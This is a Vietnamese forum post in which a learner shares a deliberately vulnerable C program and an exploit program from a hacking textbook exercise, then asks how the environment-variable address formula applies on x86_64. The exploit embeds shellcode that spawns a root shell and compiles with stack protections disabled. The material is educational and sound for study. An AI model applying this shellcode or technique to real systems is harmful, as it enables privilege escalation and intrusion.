Buffer overflow sử dụng biến môi trường trong x86_64

Em chào mọi người à, em có đoạn code sử dụng biến môi trường để lưu shell code và chạy chương trình overflow thế này:
overflow_example.c

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
  int value = 5;
  char buffer_one[8], buffer_two[8];

  strcpy(buffer_one, "one");
  strcpy(buffer_two, "two");

  printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
  printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
  printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

  printf("\n[STRCPY] copying %ld bytes into buffer_two\n\n", strlen(argv[1]));
  strcpy(buffer_two, argv[1]);

  printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
  printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
  printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);

  return 0;
}

exploit_overflow_env.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  char *env[2] = {shellcode, NULL};

  unsigned int i, ret;

  char *buffer = (char*)malloc(24);

  ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./overflow_example");
  for(i=0; i < 24; i+=4) {
    *((unsigned int *)(buffer+i)) = ret;
  }

  execle("./overflow_example", "overflow_example", buffer, NULL, env);
  free(buffer);
}

Compile chương trình 1, 2:

gcc -o overflow_example overflow_example.c -g -fno-stack-protector -z execstack
gcc -o exploit_overflow_env exploit_overflow_env.c -g -fno-stack-protector -z execstack

Đoạn code exploit ở trên trong document đã cũ không còn phù hợp với kiến trúc máy tính x86_64, em hiểu rằng để exploit được lỗi buffer_overflow thì phải ghi đè offset của biến buffer_two đến rsp + 8 bytes rsp + 6 bytes rip địa chỉ của biến môi trường shellcode.
Trong sách có nói, trong linux thì biến môi trường của một chương trình thực thi bằng lệnh execle được tính bằng cách trừ địa chỉ như công thức phía trên, em muốn hỏi là công thức này có đúng với kiến trúc x86_64 em đang dùng ko và địa chỉ mặc định tương ứng là gì vậy ạ, em cảm ơn nhiều. :smiley:

83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?